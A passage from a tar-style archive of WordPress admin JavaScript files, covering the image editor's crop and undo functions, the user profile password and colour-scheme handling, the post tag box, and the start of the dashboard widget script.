		var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid),
			pop = t.intval( elem.val() ) - 1;

		if ( button.hasClass('disabled') ) {
			return;
		}

		elem.val(pop);
		t.refreshEditor(postid, nonce, function() {
			t.setDisabled($('#image-undo-' + postid), true);
			t.setDisabled(button, pop > 0);
			// When redo gets disabled, move focus to the undo button to avoid a focus loss.
			if ( 0 === pop ) {
				$( '#image-undo-' + postid ).trigger( 'focus' );
			}
		});
	},

	/**
	 * Sets the selection for the height and width in pixels.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 * @param {jQuery} el     The element containing the values.
	 *
	 * @return {void|boolean} Returns false when the x or y value is lower than 1,
	 *                        void when the value is not numeric or when the operation
	 *                        is successful.
	 */
	setNumSelection : function( postid, el ) {
		var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid),
			elX1 = $('#imgedit-start-x-' + postid), elY1 = $('#imgedit-start-y-' + postid),
			xS = this.intval( elX1.val() ), yS = this.intval( elY1.val() ),
			x = this.intval( elX.val() ), y = this.intval( elY.val() ),
			img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(),
			sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi;

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x < 1 ) {
			elX.val('');
			return false;
		}

		if ( y < 1 ) {
			elY.val('');
			return false;
		}

		if ( ( ( x && y ) || ( xS && yS ) ) && ( sel = ias.getSelection() ) ) {
			x2 = sel.x1 + Math.round( x * sizer );
			y2 = sel.y1 + Math.round( y * sizer );
			x1 = ( xS === sel.x1 ) ? sel.x1 : Math.round( xS * sizer );
			y1 = ( yS === sel.y1 ) ? sel.y1 : Math.round( yS * sizer );

			if ( x2 > imgw ) {
				x1 = 0;
				x2 = imgw;
				elX.val( Math.round( x2 / sizer ) );
			}

			if ( y2 > imgh ) {
				y1 = 0;
				y2 = imgh;
				elY.val( Math.round( y2 / sizer ) );
			}

			ias.setSelection( x1, y1, x2, y2 );
			ias.update();
			this.setCropSelection(postid, ias.getSelection());
		}
	},

	/**
	 * Rounds a number to a whole.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} num The number.
	 *
	 * @return {number} The number rounded to a whole number.
	 */
	round : function(num) {
		var s;
		num = Math.round(num);

		if ( this.hold.sizer > 0.6 ) {
			return num;
		}

		s = num.toString().slice(-1);

		if ( '1' === s ) {
			return num - 1;
		} else if ( '9' === s ) {
			return num + 1;
		}

		return num;
	},

	/**
	 * Sets a locked aspect ratio for the selection.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid     The post ID.
	 * @param {number} n          The ratio to set.
	 * @param {jQuery} el         The element containing the values.
	 *
	 * @return {void}
	 */
	setRatioSelection : function(postid, n, el) {
		var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ),
			y = this.intval( $('#imgedit-crop-height-' + postid).val() ),
			h = $('#image-preview-' + postid).height();

		if ( false === this.validateNumeric( el ) ) {
			this.iasapi.setOptions({
				aspectRatio: null
			});

			return;
		}

		if ( x && y ) {
			this.iasapi.setOptions({
				aspectRatio: x + ':' + y
			});

			if ( sel = this.iasapi.getSelection(true) ) {
				r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) );

				if ( r > h ) {
					r = h;
					var errorMessage = __( 'Selected crop ratio exceeds the boundaries of the image. Try a different ratio.' );

					$( '#imgedit-crop-' + postid )
						.prepend( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' );

					wp.a11y.speak( errorMessage, 'assertive' );
					if ( n ) {
						$('#imgedit-crop-height-' + postid).val( '' );
					} else {
						$('#imgedit-crop-width-' + postid).val( '');
					}
				} else {
					var error = $( '#imgedit-crop-' + postid ).find( '.notice-error' );
					if ( 'undefined' !== typeof( error ) ) {
						error.remove();
					}
				}

				this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r );
				this.iasapi.update();
			}
		}
	},

	/**
	 * Validates if a value in a jQuery.HTMLElement is numeric.
	 *
	 * @since 4.6.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {jQuery} el The html element.
	 *
	 * @return {void|boolean} Returns false if the value is not numeric,
	 *                        void when it is.
	 */
	validateNumeric: function( el ) {
		if ( false === this.intval( $( el ).val() ) ) {
			$( el ).val( '' );
			return false;
		}
	}
};
})(jQuery);
user-profile.js000064400000033435150276633110007532 0ustar00/**
 * @output wp-admin/js/user-profile.js
 */

/* global ajaxurl, pwsL10n, userProfileL10n */
(function($) {
	var updateLock = false,
		__ = wp.i18n.__,
		$pass1Row,
		$pass1,
		$pass2,
		$weakRow,
		$weakCheckbox,
		$toggleButton,
		$submitButtons,
		$submitButton,
		currentPass,
		$passwordWrapper;

	function generatePassword() {
		if ( typeof zxcvbn !== 'function' ) {
			setTimeout( generatePassword, 50 );
			return;
		} else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) {
			// zxcvbn loaded before user entered password, or generating new password.
			$pass1.val( $pass1.data( 'pw' ) );
			$pass1.trigger( 'pwupdate' );
			showOrHideWeakPasswordCheckbox();
		} else {
			// zxcvbn loaded after the user entered password, check strength.
			check_pass_strength();
			showOrHideWeakPasswordCheckbox();
		}

		/*
		 * This works around a race condition when zxcvbn loads quickly and
		 * causes `generatePassword()` to run prior to the toggle button being
		 * bound.
		 */
		bindToggleButton();

		// Install screen.
		if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) {
			// Show the password not masked if admin_password hasn't been posted yet.
			$pass1.attr( 'type', 'text' );
		} else {
			// Otherwise, mask the password.
			$toggleButton.trigger( 'click' );
		}

		// Once zxcvbn loads, passwords strength is known.
		$( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) );

		// Focus the password field.
		if ( 'mailserver_pass' !== $pass1.prop('id' ) ) {
			$( $pass1 ).trigger( 'focus' );
		}
	}

	function bindPass1() {
		currentPass = $pass1.val();

		if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) {
			generatePassword();
		}

		$pass1.on( 'input' + ' pwupdate', function () {
			if ( $pass1.val() === currentPass ) {
				return;
			}

			currentPass = $pass1.val();

			// Refresh password strength area.
			$pass1.removeClass( 'short bad good strong' );
			showOrHideWeakPasswordCheckbox();
		} );
	}

	function resetToggle( show ) {
		$toggleButton
			.attr({
				'aria-label': show ? __( 'Show password' ) : __( 'Hide password' )
			})
			.find( '.text' )
				.text( show ? __( 'Show' ) : __( 'Hide' ) )
			.end()
			.find( '.dashicons' )
				.removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' )
				.addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' );
	}

	function bindToggleButton() {
		if ( !! $toggleButton ) {
			// Do not rebind.
			return;
		}
		$toggleButton = $pass1Row.find('.wp-hide-pw');
		$toggleButton.show().on( 'click', function () {
			if ( 'password' === $pass1.attr( 'type' ) ) {
				$pass1.attr( 'type', 'text' );
				resetToggle( false );
			} else {
				$pass1.attr( 'type', 'password' );
				resetToggle( true );
			}
		});
	}

	/**
	 * Handle the password reset button. Sets up an ajax callback to trigger sending
	 * a password reset email.
	 */
	function bindPasswordResetLink() {
		$( '#generate-reset-link' ).on( 'click', function() {
			var $this  = $(this),
				data = {
					'user_id': userProfileL10n.user_id, // The user to send a reset to.
					'nonce':   userProfileL10n.nonce    // Nonce to validate the action.
				};

				// Remove any previous error messages.
				$this.parent().find( '.notice-error' ).remove();

				// Send the reset request.
				var resetAction =  wp.ajax.post( 'send-password-reset', data );

				// Handle reset success.
				resetAction.done( function( response ) {
					addInlineNotice( $this, true, response );
				} );

				// Handle reset failure.
				resetAction.fail( function( response ) {
					addInlineNotice( $this, false, response );
				} );

		});

	}

	/**
	 * Helper function to insert an inline notice of success or failure.
	 *
	 * @param {jQuery Object} $this   The button element: the message will be inserted
	 *                                above this button
	 * @param {bool}          success Whether the message is a success message.
	 * @param {string}        message The message to insert.
	 */
	function addInlineNotice( $this, success, message ) {
		var resultDiv = $( '<div />' );

		// Set up the notice div.
		resultDiv.addClass( 'notice inline' );

		// Add a class indicating success or failure.
		resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) );

		// Add the message, wrapping in a p tag, with a fadein to highlight each message.
		resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />');

		// Disable the button when the callback has succeeded.
		$this.prop( 'disabled', success );

		// Remove any previous notices.
		$this.siblings( '.notice' ).remove();

		// Insert the notice.
		$this.before( resultDiv );
	}

	function bindPasswordForm() {
		var $generateButton,
			$cancelButton;

		$pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' );

		// Hide the confirm password field when JavaScript support is enabled.
		$('.user-pass2-wrap').hide();

		$submitButton = $( '#submit, #wp-submit' ).on( 'click', function () {
			updateLock = false;
		});

		$submitButtons = $submitButton.add( ' #createusersub' );

		$weakRow = $( '.pw-weak' );
		$weakCheckbox = $weakRow.find( '.pw-checkbox' );
		$weakCheckbox.on( 'change', function() {
			$submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) );
		} );

		$pass1 = $('#pass1, #mailserver_pass');
		if ( $pass1.length ) {
			bindPass1();
		} else {
			// Password field for the login form.
			$pass1 = $( '#user_pass' );
		}

		/*
		 * Fix a LastPass mismatch issue, LastPass only changes pass2.
		 *
		 * This fixes the issue by copying any changes from the hidden
		 * pass2 field to the pass1 field, then running check_pass_strength.
		 */
		$pass2 = $( '#pass2' ).on( 'input', function () {
			if ( $pass2.val().length > 0 ) {
				$pass1.val( $pass2.val() );
				$pass2.val('');
				currentPass = '';
				$pass1.trigger( 'pwupdate' );
			}
		} );

		// Disable hidden inputs to prevent autofill and submission.
		if ( $pass1.is( ':hidden' ) ) {
			$pass1.prop( 'disabled', true );
			$pass2.prop( 'disabled', true );
		}

		$passwordWrapper = $pass1Row.find( '.wp-pwd' );
		$generateButton  = $pass1Row.find( 'button.wp-generate-pw' );

		bindToggleButton();

		$generateButton.show();
		$generateButton.on( 'click', function () {
			updateLock = true;

			// Make sure the password fields are shown.
			$generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' );
			$passwordWrapper
				.show()
				.addClass( 'is-open' );

			// Enable the inputs when showing.
			$pass1.attr( 'disabled', false );
			$pass2.attr( 'disabled', false );

			// Set the password to the generated value.
			generatePassword();

			// Show generated password in plaintext by default.
			resetToggle ( false );

			// Generate the next password and cache.
			wp.ajax.post( 'generate-password' )
				.done( function( data ) {
					$pass1.data( 'pw', data );
				} );
		} );

		$cancelButton = $pass1Row.find( 'button.wp-cancel-pw' );
		$cancelButton.on( 'click', function () {
			updateLock = false;

			// Disable the inputs when hiding to prevent autofill and submission.
			$pass1.prop( 'disabled', true );
			$pass2.prop( 'disabled', true );

			// Clear password field and update the UI.
			$pass1.val( '' ).trigger( 'pwupdate' );
			resetToggle( false );

			// Hide password controls.
			$passwordWrapper
				.hide()
				.removeClass( 'is-open' );

			// Stop an empty password from being submitted as a change.
			$submitButtons.prop( 'disabled', false );

			$generateButton.attr( 'aria-expanded', 'false' );
		} );

		$pass1Row.closest( 'form' ).on( 'submit', function () {
			updateLock = false;

			$pass1.prop( 'disabled', false );
			$pass2.prop( 'disabled', false );
			$pass2.val( $pass1.val() );
		});
	}

	function check_pass_strength() {
		var pass1 = $('#pass1').val(), strength;

		$('#pass-strength-result').removeClass('short bad good strong empty');
		if ( ! pass1 || '' ===  pass1.trim() ) {
			$( '#pass-strength-result' ).addClass( 'empty' ).html( '&nbsp;' );
			return;
		}

		strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 );

		switch ( strength ) {
			case -1:
				$( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown );
				break;
			case 2:
				$('#pass-strength-result').addClass('bad').html( pwsL10n.bad );
				break;
			case 3:
				$('#pass-strength-result').addClass('good').html( pwsL10n.good );
				break;
			case 4:
				$('#pass-strength-result').addClass('strong').html( pwsL10n.strong );
				break;
			case 5:
				$('#pass-strength-result').addClass('short').html( pwsL10n.mismatch );
				break;
			default:
				$('#pass-strength-result').addClass('short').html( pwsL10n['short'] );
		}
	}

	function showOrHideWeakPasswordCheckbox() {
		var passStrengthResult = $('#pass-strength-result');

		if ( passStrengthResult.length ) {
			var passStrength = passStrengthResult[0];

			if ( passStrength.className ) {
				$pass1.addClass( passStrength.className );
				if ( $( passStrength ).is( '.short, .bad' ) ) {
					if ( ! $weakCheckbox.prop( 'checked' ) ) {
						$submitButtons.prop( 'disabled', true );
					}
					$weakRow.show();
				} else {
					if ( $( passStrength ).is( '.empty' ) ) {
						$submitButtons.prop( 'disabled', true );
						$weakCheckbox.prop( 'checked', false );
					} else {
						$submitButtons.prop( 'disabled', false );
					}
					$weakRow.hide();
				}
			}
		}
	}

	$( function() {
		var $colorpicker, $stylesheet, user_id, current_user_id,
			select       = $( '#display_name' ),
			current_name = select.val(),
			greeting     = $( '#wp-admin-bar-my-account' ).find( '.display-name' );

		$( '#pass1' ).val( '' ).on( 'input' + ' pwupdate', check_pass_strength );
		$('#pass-strength-result').show();
		$('.color-palette').on( 'click', function() {
			$(this).siblings('input[name="admin_color"]').prop('checked', true);
		});

		if ( select.length ) {
			$('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() {
				var dub = [],
					inputs = {
						display_nickname  : $('#nickname').val() || '',
						display_username  : $('#user_login').val() || '',
						display_firstname : $('#first_name').val() || '',
						display_lastname  : $('#last_name').val() || ''
					};

				if ( inputs.display_firstname && inputs.display_lastname ) {
					inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname;
					inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname;
				}

				$.each( $('option', select), function( i, el ){
					dub.push( el.value );
				});

				$.each(inputs, function( id, value ) {
					if ( ! value ) {
						return;
					}

					var val = value.replace(/<\/?[a-z][^>]*>/gi, '');

					if ( inputs[id].length && $.inArray( val, dub ) === -1 ) {
						dub.push(val);
						$('<option />', {
							'text': val
						}).appendTo( select );
					}
				});
			});

			/**
			 * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile.
			 */
			select.on( 'change', function() {
				if ( user_id !== current_user_id ) {
					return;
				}

				var display_name = this.value.trim() || current_name;

				greeting.text( display_name );
			} );
		}

		$colorpicker = $( '#color-picker' );
		$stylesheet = $( '#colors-css' );
		user_id = $( 'input#user_id' ).val();
		current_user_id = $( 'input[name="checkuser_id"]' ).val();

		$colorpicker.on( 'click.colorpicker', '.color-option', function() {
			var colors,
				$this = $(this);

			if ( $this.hasClass( 'selected' ) ) {
				return;
			}

			$this.siblings( '.selected' ).removeClass( 'selected' );
			$this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true );

			// Set color scheme.
			if ( user_id === current_user_id ) {
				// Load the colors stylesheet.
				// The default color scheme won't have one, so we'll need to create an element.
				if ( 0 === $stylesheet.length ) {
					$stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' );
				}
				$stylesheet.attr( 'href', $this.children( '.css_url' ).val() );

				// Repaint icons.
				if ( typeof wp !== 'undefined' && wp.svgPainter ) {
					try {
						colors = JSON.parse( $this.children( '.icon_colors' ).val() );
					} catch ( error ) {}

					if ( colors ) {
						wp.svgPainter.setColors( colors );
						wp.svgPainter.paint();
					}
				}

				// Update user option.
				$.post( ajaxurl, {
					action:       'save-user-color-scheme',
					color_scheme: $this.children( 'input[name="admin_color"]' ).val(),
					nonce:        $('#color-nonce').val()
				}).done( function( response ) {
					if ( response.success ) {
						$( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme );
					}
				});
			}
		});

		bindPasswordForm();
		bindPasswordResetLink();
	});

	$( '#destroy-sessions' ).on( 'click', function( e ) {
		var $this = $(this);

		wp.ajax.post( 'destroy-sessions', {
			nonce: $( '#_wpnonce' ).val(),
			user_id: $( '#user_id' ).val()
		}).done( function( response ) {
			$this.prop( 'disabled', true );
			$this.siblings( '.notice' ).remove();
			$this.before( '<div class="notice notice-success inline"><p>' + response.message + '</p></div>' );
		}).fail( function( response ) {
			$this.siblings( '.notice' ).remove();
			$this.before( '<div class="notice notice-error inline"><p>' + response.message + '</p></div>' );
		});

		e.preventDefault();
	});

	window.generatePassword = generatePassword;

	// Warn the user if password was generated but not saved.
	$( window ).on( 'beforeunload', function () {
		if ( true === updateLock ) {
			return __( 'Your new password has not been saved.' );
		}
	} );

	/*
	 * We need to generate a password as soon as the Reset Password page is loaded,
	 * to avoid double clicking the button to retrieve the first generated password.
	 * See ticket #39638.
	 */
	$( function() {
		if ( $( '.reset-pass-submit' ).length ) {
			$( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' );
		}
	});

})(jQuery);
tags-box.js000064400000025604150276633110006641 0ustar00/**
 * @output wp-admin/js/tags-box.js
 */

/* jshint curly: false, eqeqeq: false */
/* global ajaxurl, tagBox, array_unique_noempty */

( function( $ ) {
	var tagDelimiter = wp.i18n._x( ',', 'tag delimiter' ) || ',';

	/**
	 * Filters unique items and returns a new array.
	 *
	 * Filters all items from an array into a new array containing only the unique
	 * items. This also excludes whitespace or empty values.
	 *
	 * @since 2.8.0
	 *
	 * @global
	 *
	 * @param {Array} array The array to filter through.
	 *
	 * @return {Array} A new array containing only the unique items.
	 */
	window.array_unique_noempty = function( array ) {
		var out = [];

		// Trim the values and ensure they are unique.
		$.each( array, function( key, val ) {
			val = val || '';
			val = val.trim();

			if ( val && $.inArray( val, out ) === -1 ) {
				out.push( val );
			}
		} );

		return out;
	};

	/**
	 * The TagBox object.
	 *
	 * Contains functions to create and manage tags that can be associated with a
	 * post.
	 *
	 * @since 2.9.0
	 *
	 * @global
	 */
	window.tagBox = {
		/**
		 * Cleans up tags by removing redundant characters.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {string} tags Comma separated tags that need to be cleaned up.
		 *
		 * @return {string} The cleaned up tags.
		 */
		clean : function( tags ) {
			if ( ',' !== tagDelimiter ) {
				tags = tags.replace( new RegExp( tagDelimiter, 'g' ), ',' );
			}

			tags = tags.replace(/\s*,\s*/g, ',').replace(/,+/g, ',').replace(/[,\s]+$/, '').replace(/^[,\s]+/, '');

			if ( ',' !== tagDelimiter ) {
				tags = tags.replace( /,/g, tagDelimiter );
			}

			return tags;
		},

		/**
		 * Parses tags and makes them editable.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The tag element to retrieve the ID from.
		 *
		 * @return {boolean} Always returns false.
		 */
		parseTags : function(el) {
			var id = el.id,
				num = id.split('-check-num-')[1],
				taxbox = $(el).closest('.tagsdiv'),
				thetags = taxbox.find('.the-tags'),
				current_tags = thetags.val().split( tagDelimiter ),
				new_tags = [];

			delete current_tags[num];

			// Sanitize the current tags and push them as if they're new tags.
			$.each( current_tags, function( key, val ) {
				val = val || '';
				val = val.trim();
				if ( val ) {
					new_tags.push( val );
				}
			});

			thetags.val( this.clean( new_tags.join( tagDelimiter ) ) );

			this.quickClicks( taxbox );
			return false;
		},

		/**
		 * Creates clickable links, buttons and fields for adding or editing tags.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The container HTML element.
		 *
		 * @return {void}
		 */
		quickClicks : function( el ) {
			var thetags = $('.the-tags', el),
				tagchecklist = $('.tagchecklist', el),
				id = $(el).attr('id'),
				current_tags, disabled;

			if ( ! thetags.length )
				return;

			disabled = thetags.prop('disabled');

			current_tags = thetags.val().split( tagDelimiter );
			tagchecklist.empty();

			/**
			 * Creates a delete button if tag editing is enabled, before adding it to the tag list.
			 *
			 * @since 2.5.0
			 *
			 * @memberOf tagBox
			 *
			 * @param {string} key The index of the current tag.
			 * @param {string} val The value of the current tag.
			 *
			 * @return {void}
			 */
			$.each( current_tags, function( key, val ) {
				var listItem, xbutton;

				val = val || '';
				val = val.trim();

				if ( ! val )
					return;

				// Create a new list item, and ensure the text is properly escaped.
				listItem = $( '<li />' ).text( val );

				// If tags editing isn't disabled, create the X button.
				if ( ! disabled ) {
					/*
					 * Build the X buttons, hide the X icon with aria-hidden and
					 * use visually hidden text for screen readers.
					 */
					xbutton = $( '<button type="button" id="' + id + '-check-num-' + key + '" class="ntdelbutton">' +
						'<span class="remove-tag-icon" aria-hidden="true"></span>' +
						'<span class="screen-reader-text">' + wp.i18n.__( 'Remove term:' ) + ' ' + listItem.html() + '</span>' +
						'</button>' );

					/**
					 * Handles the click and keypress event of the tag remove button.
					 *
					 * Makes sure the focus ends up in the tag input field when using
					 * the keyboard to delete the tag.
					 *
					 * @since 4.2.0
					 *
					 * @param {Event} e The click or keypress event to handle.
					 *
					 * @return {void}
					 */
					xbutton.on( 'click keypress', function( e ) {
						// On click or when using the Enter/Spacebar keys.
						if ( 'click' === e.type || 13 === e.keyCode || 32 === e.keyCode ) {
							/*
							 * When using the keyboard, move focus back to the
							 * add new tag field. Note: when releasing the pressed
							 * key this will fire the `keyup` event on the input.
							 */
							if ( 13 === e.keyCode || 32 === e.keyCode ) {
 								$( this ).closest( '.tagsdiv' ).find( 'input.newtag' ).trigger( 'focus' );
 							}

							tagBox.userAction = 'remove';
							tagBox.parseTags( this );
						}
					});

					listItem.prepend( '&nbsp;' ).prepend( xbutton );
				}

				// Append the list item to the tag list.
				tagchecklist.append( listItem );
			});

			// The buttons list is built now, give feedback to screen reader users.
			tagBox.screenReadersMessage();
		},

		/**
		 * Adds a new tag.
		 *
		 * Also ensures that the quick links are properly generated.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {Object} el The container HTML element.
		 * @param {Object|boolean} a When this is an HTML element the text of that
		 *                           element will be used for the new tag.
		 * @param {number|boolean} f If this value is not passed then the tag input
		 *                           field is focused.
		 *
		 * @return {boolean} Always returns false.
		 */
		flushTags : function( el, a, f ) {
			var tagsval, newtags, text,
				tags = $( '.the-tags', el ),
				newtag = $( 'input.newtag', el );

			a = a || false;

			text = a ? $(a).text() : newtag.val();

			/*
			 * Return if there's no new tag or if the input field is empty.
			 * Note: when using the keyboard to add tags, focus is moved back to
			 * the input field and the `keyup` event attached on this field will
			 * fire when releasing the pressed key. Checking also for the field
			 * emptiness avoids to set the tags and call quickClicks() again.
			 */
			if ( 'undefined' == typeof( text ) || '' === text ) {
				return false;
			}

			tagsval = tags.val();
			newtags = tagsval ? tagsval + tagDelimiter + text : text;

			newtags = this.clean( newtags );
			newtags = array_unique_noempty( newtags.split( tagDelimiter ) ).join( tagDelimiter );
			tags.val( newtags );
			this.quickClicks( el );

			if ( ! a )
				newtag.val('');
			if ( 'undefined' == typeof( f ) )
				newtag.trigger( 'focus' );

			return false;
		},

		/**
		 * Retrieves the available tags and creates a tagcloud.
		 *
		 * Retrieves the available tags from the database and creates an interactive
		 * tagcloud. Clicking a tag will add it.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @param {string} id The ID to extract the taxonomy from.
		 *
		 * @return {void}
		 */
		get : function( id ) {
			var tax = id.substr( id.indexOf('-') + 1 );

			/**
			 * Puts a received tag cloud into a DOM element.
			 *
			 * The tag cloud HTML is generated on the server.
			 *
			 * @since 2.9.0
			 *
			 * @param {number|string} r The response message from the Ajax call.
			 * @param {string} stat The status of the Ajax request.
			 *
			 * @return {void}
			 */
			$.post( ajaxurl, { 'action': 'get-tagcloud', 'tax': tax }, function( r, stat ) {
				if ( 0 === r || 'success' != stat ) {
					return;
				}

				r = $( '<div id="tagcloud-' + tax + '" class="the-tagcloud">' + r + '</div>' );

				/**
				 * Adds a new tag when a tag in the tagcloud is clicked.
				 *
				 * @since 2.9.0
				 *
				 * @return {boolean} Returns false to prevent the default action.
				 */
				$( 'a', r ).on( 'click', function() {
					tagBox.userAction = 'add';
					tagBox.flushTags( $( '#' + tax ), this );
					return false;
				});

				$( '#' + id ).after( r );
			});
		},

		/**
		 * Track the user's last action.
		 *
		 * @since 4.7.0
		 */
		userAction: '',

		/**
		 * Dispatches an audible message to screen readers.
		 *
		 * This will inform the user when a tag has been added or removed.
		 *
		 * @since 4.7.0
		 *
		 * @return {void}
		 */
		screenReadersMessage: function() {
			var message;

			switch ( this.userAction ) {
				case 'remove':
					message = wp.i18n.__( 'Term removed.' );
					break;

				case 'add':
					message = wp.i18n.__( 'Term added.' );
					break;

				default:
					return;
			}

			window.wp.a11y.speak( message, 'assertive' );
		},

		/**
		 * Initializes the tags box by setting up the links, buttons. Sets up event
		 * handling.
		 *
		 * This includes handling of pressing the enter key in the input field and the
		 * retrieval of tag suggestions.
		 *
		 * @since 2.9.0
		 *
		 * @memberOf tagBox
		 *
		 * @return {void}
		 */
		init : function() {
			var ajaxtag = $('div.ajaxtag');

			$('.tagsdiv').each( function() {
				tagBox.quickClicks( this );
			});

			$( '.tagadd', ajaxtag ).on( 'click', function() {
				tagBox.userAction = 'add';
				tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
			});

			/**
			 * Handles pressing enter on the new tag input field.
			 *
			 * Prevents submitting the post edit form. Uses `keypress` to take
			 * into account Input Method Editor (IME) converters.
			 *
			 * @since 2.9.0
			 *
			 * @param {Event} event The keypress event that occurred.
			 *
			 * @return {void}
			 */
			$( 'input.newtag', ajaxtag ).on( 'keypress', function( event ) {
				if ( 13 == event.which ) {
					tagBox.userAction = 'add';
					tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
					event.preventDefault();
					event.stopPropagation();
				}
			}).each( function( i, element ) {
				$( element ).wpTagsSuggest();
			});

			/**
			 * Before a post is saved the value currently in the new tag input field will be
			 * added as a tag.
			 *
			 * @since 2.9.0
			 *
			 * @return {void}
			 */
			$('#post').on( 'submit', function(){
				$('div.tagsdiv').each( function() {
					tagBox.flushTags(this, false, 1);
				});
			});

			/**
			 * Handles clicking on the tag cloud link.
			 *
			 * Makes sure the ARIA attributes are set correctly.
			 *
			 * @since 2.9.0
			 *
			 * @return {void}
			 */
			$('.tagcloud-link').on( 'click', function(){
				// On the first click, fetch the tag cloud and insert it in the DOM.
				tagBox.get( $( this ).attr( 'id' ) );
				// Update button state, remove previous click event and attach a new one to toggle the cloud.
				$( this )
					.attr( 'aria-expanded', 'true' )
					.off()
					.on( 'click', function() {
						$( this )
							.attr( 'aria-expanded', 'false' === $( this ).attr( 'aria-expanded' ) ? 'true' : 'false' )
							.siblings( '.the-tagcloud' ).toggle();
					});
			});
		}
	};
}( jQuery ));
dashboard.js000064400000065661150276633110007053 0ustar00/**
 * @output wp-admin/js/dashboard.js
 */

/* global pagenow, ajaxurl, postboxes, wpActiveEditor:true, ajaxWidgets */
/* global ajaxPopulateWidgets, quickPressLoad,  */
window.wp = window.wp || {};
window.communityEventsData = window.communityEventsData || {};

/**
 * Initializes the dashboard widget functionality.
 *
 * @since 2.7.0
 */
jQuery( function($) {
	var welcomePanel = $( '#welcome-panel' ),
		welcomePanelHide = $('#wp_welcome_panel-hide'),
		updateWelcomePanel;

	/**
	 * Saves the visibility of the welcome panel.
	 *
	 * @since 3.3.0
	 *
	 * @param {boolean} visible Should it be visible or not.
	 *
	 * @return {void}
	 */
	updateWelcomePanel = function( visible ) {
		$.post( ajaxurl, {
			action: 'update-welcome-panel',
			visible: visible,
			welcomepanelnonce: $( '#welcomepanelnonce' ).val()
		});
	};

	// Unhide the welcome panel if the Welcome Option checkbox is checked.
	if ( welcomePanel.hasClass('hidden') && welcomePanelHide.prop('checked') ) {
		welcomePanel.removeClass('hidden');
	}

	// Hide the welcome panel when the dismiss button or close button is clicked.
	$('.welcome-panel-close, .welcome-panel-dismiss a', welcomePanel).on( 'click', function(e) {
		e.preventDefault();
		welcomePanel.addClass('hidden');
		updateWelcomePanel( 0 );
		$('#wp_welcome_panel-hide').prop('checked', false);
	});

	// Set welcome panel visibility based on Welcome Option checkbox value.
	welcomePanelHide.on( 'click', function() {
		welcomePanel.toggleClass('hidden', ! this.checked );
		updateWelcomePanel( this.checked ? 1 : 0 );
	});

	/**
	 * These widgets can be populated via ajax.
	 *
	 * @since 2.7.0
	 *
	 * @type {string[]}
	 *
	 * @global
 	 */
	window.ajaxWidgets = ['dashboard_primary'];

	/**
	 * Triggers widget updates via Ajax.
	 *
	 * @since 2.7.0
	 *
	 * @global
	 *
	 * @param {string} el Optional. Widget to fetch or none to update all.
	 *
	 * @return {void}
	 */
	window.ajaxPopulateWidgets = function(el) {
		/**
		 * Fetch the latest representation of the widget via Ajax and show it.
		 *
		 * @param {number} i Number of half-seconds to use as the timeout.
		 * @param {string} id ID of the element which is going to be checked for changes.
		 *
		 * @return {void}
		 */
		function show(i, id) {
			var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading');
			// If the element is found in the dom, queue to load latest representation.
			if ( e.length ) {
				p = e.parent();
				setTimeout( function(){
					// Request the widget content.
					p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() {
						// Hide the parent and slide it out for visual fancyness.
						p.hide().slideDown('normal', function(){
							$(this).css('display', '');
						});
					});
				}, i * 500 );
			}
		}

		// If we have received a specific element to fetch, check if it is valid.
		if ( el ) {
			el = el.toString();
			// If the element is available as Ajax widget, show it.
			if ( $.inArray(el, ajaxWidgets) !== -1 ) {
				// Show element without any delay.
				show(0, el);
			}
		} else {
			// Walk through all ajaxWidgets, loading them after each other.
			$.each( ajaxWidgets, show );
		}
	};

	// Initially populate ajax widgets.
	ajaxPopulateWidgets();

	// Register ajax widgets as postbox toggles.
